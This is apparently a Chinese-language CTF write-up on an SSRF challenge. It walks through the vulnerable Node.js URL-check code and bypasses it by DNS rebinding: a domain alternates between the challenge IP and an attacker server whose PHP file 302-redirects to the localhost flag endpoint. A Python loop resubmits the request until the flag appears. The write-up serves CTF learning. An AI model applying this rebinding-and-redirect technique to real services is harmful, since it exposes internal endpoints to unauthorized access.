华为云一道关于DNS重绑攻击的SSRF题目复现
例题
在华为云CTF中,有云存储这样一道题,同时给出了docker
一直忘记复现,今天来复现一下
app.get('/flag', function(req, res){
if (req.ip === '127.0.0.1') {
res.status(200).send(env.parsed.flag)
} else res.status(403).end('not so simple');
});
在app.js中,如果ip为127.0.0.1,那么会输出flag。
题目本质上与云存储没什么关系,主要看panel.js中的/admin路由
app.post('/admin', (req, res) => {
if ( !req.body.fileurl || !check(req.body.fileurl) ) {
res.end("Invalid file link")
return
}
let file = req.body.fileurl;
//dont DOS attack, i will sleep before request
cp.execSync('sleep 5')
let options = {url : file, timeout : 3000}
request.get(options ,(error, httpResponse, body) => {
if (!error) {
res.set({"Content-Type" : "text/html; charset=utf-8"})
res.render("check", {"body" : body})
} else {
res.end( JSON.stringify({"code" : "-1", "message" : error.toString()}) )
}
});
})
通过POST提交fileurl参数,首先通过check()函数进行url验证,然后执行sleep 5的命令。所以要通过request访问到/flag并把flag带出来
URL的检测就是check函数,让我们看一下check函数
const checkip = function (value) {
let pattern = /^\d{1,3}(\.\d{1,3}){3}$/;
if (!pattern.exec(value))
return false;
let ary = value.split('.');
for(let key in ary)
{
if (parseInt(ary[key]) > 255)
return false;
}
return true ;
}
const dnslookup = function(s) {
if (typeof(s) == 'string' && !s.match(/[^\w-.]/)) {
let query = '';
try {
query = JSON.parse(cp.execSync(`curl http://ip-api.com/json/${s}`)).query
} catch (e) {
return 'wrong'
}
return checkip(query) ? query : 'wrong'
} else return 'wrong'
}
const check = function(s) {
if (!typeof (s) == 'string' || !s.match(/^http\:\/\//))
return false
let blacklist = ['wrong', '127.', 'local', '@', 'flag']
let host, port, dns;
host = url.parse(s).hostname
port = url.parse(s).port
if ( host == null || port == null)
return false
dns = dnslookup(host);
if ( ip.isPrivate(dns) || dns != docker.ip || ['80','8080'].includes(port) )
return false
for (let i = 0; i < blacklist.length; i++)
{
let regex = new RegExp(blacklist[i], 'i');
try {
if (ip.fromLong(s.replace(/[^\d]/g,'').substr(0,10)).match(regex))
return false
} catch (e) {}
if (s.match(regex))
return false
}
return true
}
exports.check = check
1.url.prase
解析通过
2.利用公网上的一个dns解析的api来解析,解析出的ip不能是私有ip且等于docker.ip
3.端口不能是80或者8080
4.之后for循环匹配了一些黑名单关键字
这些全过了才行。
DNS重绑攻击
网上有很多文章 https://xz.aliyun.com/t/7495,可以先了解一下
当一个url被提交到/admin路由之后:
1.check()
内用公网api进行了第一次解析
2.sleep 5
后,requset.get()
访问url对域名进行了第二次解析
DNS重绑攻击,就是在第一次解析的时候,在check时解析到了题目的ip地址,过了check之后,再将他重新绑定到一个攻击ip/本地ip,达到SSRF的效果
DNS重绑攻击的条件是要进行多次DNS解析,并合理利用时间查。
但是 check()
并不允许访问 80 端口;所以我们可以让它解析到攻击者的 ip 并且是非 80/8080 端口,当sleep 5过后,放任request.get()时,利用 302 跳转到 http://127.0.0.1:80/flag,request 会默认 follow 这个 302 重定向,即可 SSRF 成功。
展开攻击
推荐几个免费DNS平台。
第一个个为例,先在自己服务器的10001端口(这个端口不为80或者8080即可) 写1.php
<?php
header("Location: http://127.0.0.1:80/flag");
来到设置
Value那里写题目ip%自己服务器ip
随机解析题目ip(过第一次解析)和自己服务器ip(用于跳转127.0.0.1/flag攻击)
先用题目ip过掉第一次waf,然后在5s之后解析到自己服务器ip就可以达成攻击
然后提交url http://yang99.3coc4kh1.requestrepo.com:10001/1.php
到/admin路由
多发几个包就有flag了,因为解析两个IP是随机的
这里贴上颖奇师傅的重复提交脚本
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests as req
s = req.session()
url = "http://123.57.145.88:17789/admin"
data = {"fileurl" : "http://yang99.3coc4kh1.requestrepo.com:10001/1.php" }
while True:
try:
text = s.post(url=url, data=data, timeout=10).text
print(text)
if "flag{" in text:
exit(0)
except Exception as e :
print(e)